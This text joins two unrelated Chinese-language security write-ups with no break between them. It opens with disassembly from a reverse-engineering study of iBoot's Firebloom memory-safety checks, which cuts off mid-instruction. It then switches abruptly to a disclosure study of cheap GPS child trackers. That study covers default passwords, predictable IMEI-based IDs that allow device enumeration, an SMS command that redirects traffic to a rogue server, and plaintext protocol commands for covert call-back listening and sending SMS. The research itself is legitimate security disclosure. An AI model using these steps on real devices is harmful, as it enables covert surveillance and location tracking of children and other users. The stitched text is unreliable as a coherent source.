iBoot:00000001FC15AD7CSTPX10,X11,[X19,#0x10]

iBoot:00000001FC15AD80STPX8,X9,[X19]

iBoot:00000001FC15AD84RET

iBoot:00000001FC15AD84;Endoffunctionmove_safe_allocation_x20_to_x19如今,這種由2個LDP指令和2個STP指令組成的模式,在iBoot中是非常常見的(這是很正常的,因為指針賦值經常發生),所以,我們會在許多地方看到這樣的內聯代碼。雖然這對於指針賦值很有用,但在許多情況下,我們想要做的卻是複制內容——例如,調用memcpy的時候。因此,有趣的事情就出現了:是否應該允許在兩個“safe_allocations”內存之間調用memcpy?

理論上,我們可以執行下面的代碼:

memcpy(dst-raw_ptr,src-raw_ptr,length);但是,請記住,每段safe_allocation內存都具有相應的type指針,該指針指向某個結構體,以便提供與當前處理的類型有關的更多信息。這些信息可以用於進一步的檢查和驗證。例如,我們希望看到一些邏輯來檢查dst和src的類型是否為基本類型(即這些類型不包含對其他結構體、嵌套結構體等結構體的引用,如short/int/float/double/等類型,就是屬於基本類型)。

這很重要,因為如果src或dst是非基本類型,我們就需要確保只有在它們的類型在某種程度上相等時才將src複製到dst。或者,type實際上保存了更多與結構體有關的元數據,因此需要確保更多的安全屬性。

因此,我想了解一下Firebloom是如何描述基本類型的。在對類型轉換功能,以及其他功能代碼進行逆向分析之後,我終於搞清楚了這一點。有趣的是,分析過程再簡單不過了——我們在函數cast_impl中找到了很多有用的字符串。例如:

aCannotCastPrimDCB'Cannotcastprimitivetypetonon-primitivetype',0借助於交叉引用,我們在下面的代碼中發現,X21寄存器就是來自safe_allocation內存的type指針:

iBoot:00000001FC1A0CF8;X21isthetypepointer

iBoot:00000001FC1A0CF8LDRX11,[X21]

iBoot:00000001FC1A0CFCANDX11,X11,#0xFFFFFFFFFFFFFFF8

iBoot:00000001FC1A0D00LDRBW12,[X11]

iBoot:00000001FC1A0D04TSTW12,#7

iBoot:00000001FC1A0D08;oneofthe3LSBbitsisnot0,non-primitivetype

iBoot:00000001FC1A0D08B.NEcannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0D0CLDRX11,[X11,#0x20]

iBoot:00000001FC1A0D10LSRX11,X11,#0x23;'#'

iBoot:00000001FC1A0D14CBNZX11,cannot_cast_primitive_to_non_primitive_type

.

iBoot:00000001FC1A0E70cannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0E70;CODEXREF:cast_impl+478↑j

iBoot:00000001FC1A0E70;cast_impl+484↑j

iBoot:00000001FC1A0E70ADRX11,aCannotCastPrim;'Cannotcastprimitivetypetonon-primi'.好了,現在我們知道Firebloom是如何標記和測試基本類型的了。這段代碼只是將一種類型轉換為另一種類型的功能實現中的一小部分,特別是這裡的X21寄存器是我們要轉換為的safe_allocation結構體中的type指針。在進行類型轉換時,我們驗證要轉換的類型是基本類型;同時,還要驗證轉換後的目標類型也是基本類型(否則就會出現panic)。

為了完成這項檢查,代碼會對type指針進行解引用,進而得到另一個指針(我們稱之為type_descriptor)。然後,將其最低的3個二進制位屏蔽掉(它們可能對應於一個編碼,這就是所有用到該指針的地方都會在解除其引用之前都屏蔽它的原因),然後對該指針解除引用。

現在,如果以下兩個屬性都滿足要求,那麼,該類型被認為是“基本類型”:

第一個qword的低3位都為0。

在偏移量0x20處存儲的值的高29位都為0。

太好了,我們剛剛了解了基本類型是如何表示的。在本文的後面部分,我們將詳細介紹這些值的具體含義。

有了這些知識,我們就可以著手了解Firebloom到底是如何在iBoot中封裝memset和memcpy函數的了。現在,讓我們從memset函數開始:

iBoot:00000001FC15A99Cwrap_memset_safe_allocation;CODEXREF:sub_1FC04E5D0+124↑p

iBoot:00000001FC15A99C;sub_1FC04ED68+8↑j.

iBoot:00000001FC15A99C

iBoot:00000001FC15A99Cvar_30=-0x30

iBoot:00000001FC15A99Cvar_20=-0x20

iBoot:00000001FC15A99Cvar_10=-0x10

iBoot:00000001FC15A99Cvar_s0=0

iBoot:00000001FC15A99C

iBoot:00000001FC15A99CPACIBSP

iBoot:00000001FC15A9A0SUBSP,SP,#0x60

iBoot:00000001FC15A9A4STPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15A9A8STPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15A9ACSTPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15A9B0STPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15A9B4ADDX29,SP,#0x50

iBoot:00000001FC15A9B8;void*memset(void*s,intc,size_tn);

iBoot:00000001FC15A9B8;X0-dst(s)

iBoot:00000001FC15A9B8;X1-char(c)

iBoot:00000001FC15A9B8;X2-length(n)

iBoot:00000001FC15A9B8MOVX21,X2

iBoot:00000001FC15A9BCMOVX22,X1

iBoot:00000001FC15A9C0MOVX20,X0

iBoot:00000001FC15A9C4MOVX19,X8

iBoot:00000001FC15A9C8;verifyupper_bound-raw_ptr=x2(length)

iBoot:00000001FC15A9C8BLcheck_ptr_bounds

iBoot:00000001FC15A9CCLDRX23,[X20,#safe_allocation.type]

iBoot:00000001FC15A9D0MOVX0,X23

iBoot:00000001FC15A9D4;checkifdstisaprimitivetype

iBoot:00000001FC15A9D4BLis_primitive_type

iBoot:00000001FC15A9D8TBNZW0,#0,call_memset

iBoot:00000001FC15A9DCCBNZW22,detected_memset_bad_type

iBoot:00000001FC15A9E0MOVX0,X23

iBoot:00000001FC15A9E4BLget_type_length

iBoot:00000001FC15A9E8;divideandmultiplythelengthargument

iBoot:00000001FC15A9E8;bythetype'ssize,todetect

iBoot:00000001FC15A9E8;partial/unalignmentwrites

iBoot:00000001FC15A9E8UDIVX8,X21,X0

iBoot:00000001FC15A9ECMSUBX8,X8,X0,X21

iBoot:00000001FC15A9F0CBNZX8,detected_memset_bad_n

iBoot:00000001FC15A9F4

iBoot:00000001FC15A9F4call_memset;CODEXREF:wrap_memset_safe_allocation+3C↑j

iBoot:00000001FC15A9F4LDRX0,[X20,#safe_allocation]

iBoot:00000001FC15A9F8MOVX1,X22

iBoot:00000001FC15A9FCMOVX2,X21

iBoot:00000001FC15AA00BL_memset

iBoot:00000001FC15AA04BLmove_safe_allocation_x20_to_x19

iBoot:00000001FC15AA08LDPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15AA0CLDPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15AA10LDPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15AA14LDPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15AA18ADDSP,SP,#0x60;'`'

iBoot:00000001FC15AA1CRETAB

iBoot:00000001FC15AA20;---------------------------------------------------------------------------

iBoot:00000001FC15AA20

iBoot:00000001FC15AA20detected_memset_bad_type;CODEXREF:wrap_memset_safe_allocation+40↑j

iBoot:00000001FC15AA20BLcall_panic_memset_bad_type

iBoot:00000001FC15AA24;---------------------------------------------------------------------------

iBoot:00000001FC15AA24

iBoot:00000001FC15AA24detected_memset_bad_n;CODEXREF:wrap_memset_safe_allocation+54↑j

iBoot:00000001FC15AA24BL

0x01 基礎介紹GPS追踪器可以幫助定位孩子,寵物、汽車,從而使用戶更加安心。用戶可以通過提供簡單的SOS按鈕來呼叫幫助,從而幫助確保老年人或殘疾人的安全。為了實現此目的,許多設備在亞馬遜和eBay等常見網站上進行了銷售,售價為25至50美元,與使用智能手機實現某些相同功能相比,它們在價格上更具吸引力。

但是,我們對這些設備的真正了解有多少,這些設備知道我們在哪裡,有時甚至可以聽到我們的聲音,我們在這裡討論的大多數設備也都帶有麥克風。事實證明,當今的某些GPS追踪器,尤其是那些處於低端市場的GPS追踪器,是存在風險的,而不是讓你省心。他們不僅缺乏安全警報,而且這些設備更有可能使你的親人更加危險。

我們決定看一下亞馬遜,eBay和阿里巴巴上的幾種兒童追踪器,以了解它們如何經受住我們的安全測試。

GPS追踪器基礎當今可用的GPS追踪器使用多種通信渠道和技術。圖1顯示了一個典型的體系結構。

figure1-1-768x442.jpg

圖1: GPS追踪器的典型配置和架構

其中涉及許多傳輸協議和網絡層,因此我們同時在許多方面進行工作,以評估這些設備的安全性。

通常,追踪器是一種簡單,廉價的設備,以SOC(片上系統)模塊為主要組件。串行總線將SOC連接到提供位置的GPS模塊以及連接到SIM卡的GPRS調製解調器,SIM卡為設備提供DATA + SMS功能。通常,你還可以找到按下“ SOS”按鈕時使用的用於電話功能的麥克風和揚聲器。

figure2-1-768x368.jpg

圖2: GPS追踪器內部工作原理

我們將研究分為四類:

分析特定設備的啟動過程

分析管理門戶網站

分析移動應用程序和雲平台之間的流量

分析追踪器和雲平台之間的GPRS流量

攻擊真實設備我們決定選擇一個追踪器並進行一些更廣泛的研究。我們選擇了市售的追踪器—— T8 Mini GPS Tracker,該追踪器像一個鑰匙扣,具有SOS按鈕和雙向通訊功能(揚聲器和麥克風)。

image-20220323093825042.png

圖3:感興趣的追踪器

首先引起我們注意的是使用流程,隨附的說明:

image-20220323093915925.png

按照說明,有一個Web門戶和一個移動應用程序可用於管理追踪器。我們選擇了最便捷的方法,首先打開了一個可達的Web應用程序http://en.i365gps.com。在許多層面都存在錯誤:image-20220323094055485

image-20220323094055485.png

圖4: Web應用程序登錄截圖

如你所見,第一個red flag登錄表單是通過HTTP協議提供的,而不是通過更安全的HTTPS。此外,有兩個選擇可以連接到雲平台:使用用戶名和密碼的帳戶或使用ID和密碼的帳戶。

image-20220323094235628.png

圖5:默認密碼

這適用於Android應用程序和Web應用程序。令人震驚的事實是:“ …如果需要通過用戶名登錄,則用戶需要聯繫經銷商註冊用戶名。”由於你必須致電經銷商以請求用戶名,因此很明顯,可以使用ID,其密碼為“ 123456”。

出於演示目的,我們的ID為:17032491112和密碼123456。當你登錄到平台時,將出現此界面。

image-20220323094518536-16479999196441.png

image-20220323094518536圖6: Web應用程序界面

這裡的所有內容仍然通過不安全的HTTP協議傳輸,你可以更改密碼,但是仍然無法創建帳戶,讓我們把關注點放在ID上。

用戶名ID作為進入應用程序的“username”的ID是11位數。正如你在設備信息圖7中所看到的那樣,它有時被稱為IMEI,代表“國際移動設備身份”。

image-20220323094703856.png

image-20220323094703856圖7:設備標識

你可以看到設備被標識為T8S-49112,因此後五位數字取自“ IMEI”,而開頭可能是型號。這里奇怪的是,IMEI的數字不符合標準IMEI規範。根據規範,IMEI應該為15位長,最後一位是所謂的控制位。當我們進行更多搜索時,我們在追踪器(圖8)中發現了完整的IMEI ,隨後在包裝盒上的小標籤上也發現了完整的IMEI 。因此,在我們的案例中,完整的IMEI為:

1653140978186756.png

圖8:追踪器的內部以及IMEI和ID image-20220323094851519

image-20220323094851519.png

圖9: IMEI簡化的細分

因此,當我們獲取“ IMEI”和ID號並將其與規範格式匹配時,我們將獲得

image-20220323094919750.png image-20220323094919750

圖10:與IMEI匹配的ID

TAC的第一部分由各個子部分組成,但為簡單起見,我們可以說它以與MAC地址前綴幾乎相同的方式分配給供應商。這也意味著所有其他追踪器的數字都是可預測的,你可以輕鬆枚舉它們。結合固定密碼,這意味著我們可以按此IMEI編號順序登錄約25%的設備。

0x02 協議分析好了,暫時將IMEI枚舉放在一邊,讓我們看看設備,移動應用程序和Web應用程序如何與雲平台對話。

從Web應用到雲平台我們已經知道Web應用程序中的所有通信都是通過HTTP進行的,所以讓我們看一下使用某些標準工具從Web應用程序發出的請求是什麼:

figure11.jpg

圖11: Web應用程序AJAX請求(Chrome中的開發人員工具)

通過使用簡單的工具,我們可以看到所有請求都是純文本格式的標準JSON AJAX請求。我們不需要深入分析這部分,因為這些命令與移動應用程序向雲平台發出的命令大致相同。有趣的是,所有JSON請求都再次未加密且以明文形式發送,但更重要的是設備可以發出的命令。除了獲得預期的命令外,例如獲取GPS坐標和位置,還有其他一些其他的功能:

你可以使追踪器撥打任意電話號碼,並且一旦連接,就可以通過追踪器在對方不知情的情況下收聽。

你可以使追踪器代表自己將SMS消息發送到任意號碼。這可以讓你獲取設備的電話號碼並將SMS用作攻擊媒介。

你可以將URL發送到追踪器,追踪器可以從該URL 更新其固件,從而使攻擊者可以在設備上更新新的固件。

從移動應用到雲平台figure12.jpg

圖12:配套應用程序

現在讓我們看一下AIBEILE android應用程序如何與雲平台進行通信。使用Wireshark捕獲流量後,我們立即看到它使用純文本HTTP協議通過非標準端口TCP:8018與雲平台進行通信。

figure13-1024x336.jpg

圖13: Android應用程序在登錄時捕獲了流量

可以看到整個通信仍然未加密,並以純文本形式發送到端點http://(redacted):8018/openapiv3.asmx。這是請求的截圖:

figure14-1024x704.jpg

圖14:登錄數據包的詳細信息

有趣的是,登錄請求使用內置的Key和LoginAPP值,這給我們一個提示,即該框架正在由不同的應用程序使用,因為Key 也被內置在APK 文件中。

LoginType字段在此處通過用戶名和密碼(LoginType=0)或IMEI和密碼(LoginType=1)方法進行區分,此參數控制你使用的憑據類型。

登錄成功後,將以HTTP形式返迴響應,該響應中包含XML字符串,該字符串實際上是JSON。典型的成功響應如下所示:image-20220323100204747

image-20220323100204747.png

圖15:對登錄請求的JSON響應

可以看到很多很明顯的字段,但這裡最重要的字段是key2018,這是Base64編碼的64字節長的會話密鑰,並且deviceID在這兩個密鑰中都需要進行進一步的請求和命令。

這樣的命令之一可能是GetTracking。你可以看到登錄後發出了該命令(圖13),唯一的輸入參數是:

figure16-768x384.jpg

圖16: 請求追踪器的實際位置或最後看到的位置

我們不能完全確定Model 字段發的含義。下面是響應包:

image-20220323101210115 image-20220323101210115.png

圖17: 對GetTracking調用的響應

應用程序和雲平台完全以純文本方式進行通信,沒有加密。

從追踪器到雲端image-20220323101138651.png

現在,讓我們更深入地研究設備如何與雲平台對話,如何通過移動運營商提供商在實際追踪器和服務器之間交換數據。

對在LTE或GPRS移動協議之上使用IP傳輸的協議進行解碼或逆向並不容易。通常沒有簡單的方法來利用流量,因為流量先封裝在GPRS中,然後再從設備傳輸到電信運營商,然後再直接傳輸到雲平台服務器,而沒有明顯的方法來嗅探數據流向雲平台或返回雲平台的方式。

如果要分析此類流量,則基本上有兩種選擇:

建立自己的偽BTS站並運行自己的GSM網絡,以便觀察通過的所有流量。

在設備內部的GPRS調製解調器對數據進行編碼和發送之前檢查數據。

第一種選擇很複雜,要合法地進行,你需要一個法拉第籠,因為在大多數國家/地區,在沒有許可證的情況下運行自己的GSM網絡是非法的。同樣,建造設備並非易事,但是有許多開源解決方案(https://osmocom.org/projects/osmobts),與以太網或WiFi嗅探相比,它並不方便易用。

第二種選擇需要一些硬件技能,並且設備可能會失效。正如我們在一開始就指出的那樣,大多數GPS追踪器內部都將GPRS調製解調器作為一個離散組件,儘管通常很小,但仍有很大的機會利用主CPU和GPRS調製解調器之間的串行線。

在打開GPS追踪器後,確定了一些看上去完全類似於我們所需的連接點的墊。有兩組串行連接墊(TXD/RXD/GND),很明顯,一組用於GPS到CPU的通訊,另一組用於CPU到GPRS調製解調器,因此通過反複試驗,我們確定了正確的一組:

image-20220323101525811.png

圖19:進入追踪器以進行GPRS通信

完成此測試後,我們可以確認所有數據未加密地從GSM網絡傳輸到雲平台服務器。通信是基於文本的協議,最重要的是缺少授權,整個工作僅需通過其IMEI識別追踪器即可。

從SMS 到追踪器最後一點是,你可以使用另一個頻道來控制追踪器,你可以使用簡單的SMS消息進行設置並獲取一些信息。要獲取GPS位置,你可以通過手機向定位器中插入的SIM卡號碼發送短信。為此,你需要知道密碼,但是除非用戶更改了密碼,否則所有設備的默認密碼都是相同的。

figure20-1-740x1024.jpg

圖20:手冊中說明的SMS命令

我們通過進行一些硬件逆向學習了所有這些知識,但是我們真的必須這樣做嗎?事實證明,在研究命令時,你可以通過SMS消息直接向追踪器發出命令,我們發現了這一點:

image-20220323101820167.png

圖21:用於設置追踪器的SMS命令

該命令隱藏在名稱“Setup IP and port”下,意味著你可以設置設備與之通信的雲平台服務器所在的IP地址和TCP端口。這是攻擊者想要的信息;結合用於來回發送數據的不安全協議,你可以輕鬆地進行MITM中間人攻擊,並使用標準IP工具捕獲所有數據。

如下測試:

figure22-768x630.jpg

圖22:通過惡意服務器轉發流量

image-20220323102010230.png

圖23: Wireshark捕獲了位置數據包的流量

可以輕鬆發現IMEI/ID和坐標,已識別命令的格式似乎是文本格式,並且遵循以下格式:

Heartbeatcommandtracker-server

[3G*1703249112*000C*LK,0,1226,85]

Heartbeatresponseserver-tracker:

[3G*1703249112*0002*LK]

Activatemonitormode(callbackthisnumber)server-client:

[3G*1703249112*0015*MONITOR,+420612661749]

SendSMS“Test”toprovidednumber(+420602661749)server-client:

[3G*1703249112*0016*SMS,+420602661749,Test]

Positionandstatus(client-server):

[3G*1703249112*0090*UD,210619,053538,V,37.481010,N,-122.2315369,W,0.00,0.0,0.0,0,86,86,0,15,00000000,4,255,202,1,2082,5673,140,2082,12,128,2082,5671,118,2082,11,115]0x03 查找API在調查各種API時,發現我們正在調查的平台似乎已被許多其他供應商廣泛使用。通過谷歌搜索,我們找到了移動應用程序-雲接口的文檔:

image-20220323102309858.png

圖24:在另一個實例中找到的記錄的部分列表API

遍歷此API提供的每個命令並不是本研究的目的,但是讓我們看一些示例以進一步說明安全性有多糟糕以及這會對普通用戶造成什麼後果。

儘管我們調查的追踪器沒有攝像頭,但其他使用相同雲平台框架的追踪器卻有攝像頭,例如下圖的A19-3G Network GPS Smart Watch,此命令激起了我們的興趣。